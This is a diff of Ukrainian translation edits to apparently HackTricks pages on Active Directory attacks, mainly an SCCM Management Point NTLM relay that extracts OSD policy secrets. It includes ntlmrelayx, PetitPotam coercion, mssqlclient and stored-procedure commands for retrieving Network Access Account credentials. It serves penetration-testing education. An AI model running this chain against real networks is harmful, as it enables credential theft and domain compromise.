* Розгляньте можливість перетворення облікових записів gMSA з високими привілеями на **класичні облікові записи служб** з регулярними випадковими ротаціями, де ізоляція Tier-0 неможлива.
|
||||
@ -113,7 +113,7 @@ GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswor
|
||||
## Посилання
|
||||
|
||||
- [Golden dMSA – обхід аутентифікації для делегованих облікових записів керованих служб](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [gMSA Атаки Active Directory на облікові записи](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [gMSA атаки облікових записів Active Directory](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Репозиторій Semperis/GoldenDMSA на GitHub](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – атака довіри Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
|
||||
@ -3,13 +3,13 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
Шляхом примушення **System Center Configuration Manager (SCCM) Management Point (MP)** автентифікуватися через SMB/RPC та **пересилаючи** цей NTLM обліковий запис машини до **бази даних сайту (MSSQL)** ви отримуєте права `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Ці ролі дозволяють вам викликати набір збережених процедур, які відкривають **блоки політики розгортання операційної системи (OSD)** (облікові дані облікового запису доступу до мережі, змінні послідовності завдань тощо). Блоки закодовані в шістнадцятковому вигляді/зашифровані, але можуть бути декодовані та розшифровані за допомогою **PXEthief**, що дає вивід у вигляді відкритих секретів.
|
||||
Шляхом примушення **System Center Configuration Manager (SCCM) Management Point (MP)** автентифікуватися через SMB/RPC та **пересилаючи** цей NTLM обліковий запис машини до **бази даних сайту (MSSQL)** ви отримуєте права `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Ці ролі дозволяють вам викликати набір збережених процедур, які відкривають **блоки політики розгортання операційної системи (OSD)** (облікові дані облікового запису доступу до мережі, змінні послідовності завдань тощо). Блоки закодовані в шістнадцятковому вигляді/зашифровані, але можуть бути декодовані та розшифровані за допомогою **PXEthief**, що дає в результаті відкриті секрети.
|
||||
|
||||
Високорівнева ланцюг:
|
||||
1. Виявлення MP та бази даних сайту ↦ неавтентифікований HTTP кінець `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
Високорівневий ланцюг:
|
||||
1. Виявлення MP та бази даних сайту ↦ неавтентифікована HTTP точка `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
|
||||
2. Запустіть `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
|
||||
3. Примусьте MP за допомогою **PetitPotam**, PrinterBug, DFSCoerce тощо.
|
||||
4. Через SOCKS проксі підключіться з `mssqlclient.py -windows-auth` як пересланий **<DOMAIN>\\<MP-host>$** обліковий запис.
|
||||
4. Через SOCKS проксі підключіться за допомогою `mssqlclient.py -windows-auth` як пересланий обліковий запис **<DOMAIN>\\<MP-host>$**.
|
||||
5. Виконайте:
|
||||
* `use CM_<SiteCode>`
|
||||
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
|
||||
@ -20,12 +20,12 @@
|
||||
|
||||
---
|
||||
|
||||
## 1. Перерахування неавтентифікованих MP кінцевих точок
|
||||
## 1. Перерахування неавтентифікованих MP точок
|
||||
Розширення ISAPI MP **GetAuth.dll** відкриває кілька параметрів, які не вимагають автентифікації (якщо сайт не є лише PKI):
|
||||
|
||||
| Параметр | Призначення |
|
||||
|-----------|---------|
|
||||
| `MPKEYINFORMATIONMEDIA` | Повертає публічний ключ сертифіката підпису сайту + GUIDs *x86* / *x64* **Всі невідомі комп'ютери**. |
|
||||
| `MPKEYINFORMATIONMEDIA` | Повертає публічний ключ сертифіката підпису сайту + GUIDs пристроїв *x86* / *x64* **Усі невідомі комп'ютери**. |
|
||||
| `MPLIST` | Перераховує кожну точку управління на сайті. |
|
||||
| `SITESIGNCERT` | Повертає сертифікат підпису основного сайту (ідентифікує сервер сайту без LDAP). |
|
||||
|
||||
@ -58,7 +58,7 @@ proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
|
||||
```
|
||||
Перейдіть до бази даних **CM_<SiteCode>** (використовуйте 3-значний код сайту, наприклад, `CM_001`).
|
||||
|
||||
### 3.1 Знайти GUID невідомих комп'ютерів (необов'язково)
|
||||
### 3.1 Знайти GUID невідомих комп'ютерів (необов'язково)
|
||||
```sql
|
||||
USE CM_001;
|
||||
SELECT SMS_Unique_Identifier0
|
||||
@ -72,7 +72,7 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
|
||||
Кожен рядок містить `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
|
||||
|
||||
Зосередьтеся на політиках:
|
||||
* **NAAConfig** – облікові дані облікового запису доступу до мережі
|
||||
* **NAAConfig** – облікові дані облікового запису мережевого доступу
|
||||
* **TS_Sequence** – змінні послідовності завдань (OSDJoinAccount/Password)
|
||||
* **CollectionSettings** – може містити облікові записи для виконання
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user